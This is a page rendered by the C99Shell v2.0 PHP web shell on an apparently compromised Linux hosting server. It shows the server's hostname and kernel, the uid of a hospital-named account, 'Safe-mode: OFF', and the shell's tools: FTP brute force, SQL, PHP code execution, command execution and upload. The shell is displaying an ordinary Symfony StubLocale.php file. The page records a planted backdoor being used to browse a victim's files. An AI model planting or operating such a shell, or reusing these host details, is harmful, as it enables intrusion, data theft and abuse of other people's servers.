!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Component/Locale/Stub/   drwxr-xr-x
Free 294.57 GB of 429.69 GB (68.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     StubLocale.php (2.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Locale\Stub;

use 
Symfony\Component\Icu\IcuData;
use 
Symfony\Component\Intl\Intl;
use 
Symfony\Component\Intl\Locale\Locale;

/**
 * Alias of {@link \Symfony\Component\Intl\Locale\Locale}.
 *
 * @author Bernhard Schussek <bschussek@gmail.com>
 *
 * @deprecated Deprecated since version 2.3, to be removed in 3.0. Use
 *             {@link \Symfony\Component\Intl\Locale\Locale} and
 *             {@link \Symfony\Component\Intl\Intl} instead.
 */
class StubLocale extends Locale
{
    
/**
     * Caches the currencies
     *
     * @var array
     */
    
protected static $currencies;

    
/**
     * Caches the currencies names
     *
     * @var array
     */
    
protected static $currenciesNames;

    
/**
     * Returns the currencies data
     *
     * @param string $locale
     *
     * @return array  The currencies data
     */
    
public static function getCurrenciesData($locale)
    {
        if (
null === self::$currencies) {
            
self::prepareCurrencies($locale);
        }

        return 
self::$currencies;
    }

    
/**
     *  Returns the currencies names for a locale
     *
     * @param string $locale The locale to use for the currencies names
     *
     * @return array                     The currencies names with their codes as keys
     *
     * @throws \InvalidArgumentException  When the locale is different than 'en'
     */
    
public static function getDisplayCurrencies($locale)
    {
        if (
null === self::$currenciesNames) {
            
self::prepareCurrencies($locale);
        }

        return 
self::$currenciesNames;
    }

    
/**
     * Returns all available currencies codes
     *
     * @return array  The currencies codes
     */
    
public static function getCurrencies()
    {
        return 
array_keys(self::getCurrenciesData(self::getDefault()));
    }

    public static function 
getDataDirectory()
    {
        return 
IcuData::getResourceDirectory();
    }

    private static function 
prepareCurrencies($locale)
    {
        
self::$currencies = array();
        
self::$currenciesNames = array();

        
$bundle Intl::getCurrencyBundle();

        foreach (
$bundle->getCurrencyNames($locale) as $currency => $name) {
            
self::$currencies[$currency] = array(
                
'name' => $name,
                
'symbol' => $bundle->getCurrencySymbol($currency$locale),
                
'fractionDigits' => $bundle->getFractionDigits($currency),
                
'roundingIncrement' => $bundle->getRoundingIncrement($currency)
            );
            
self::$currenciesNames[$currency] = $name;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0041 ]--